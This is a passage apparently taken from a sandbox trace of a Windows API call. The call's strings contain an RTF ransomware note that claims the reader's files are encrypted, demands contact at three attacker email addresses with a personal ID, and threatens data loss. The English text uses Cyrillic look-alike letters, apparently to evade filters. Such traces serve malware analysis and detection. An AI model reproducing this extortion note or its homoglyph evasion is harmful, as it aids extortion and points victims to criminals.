r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2763ff8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 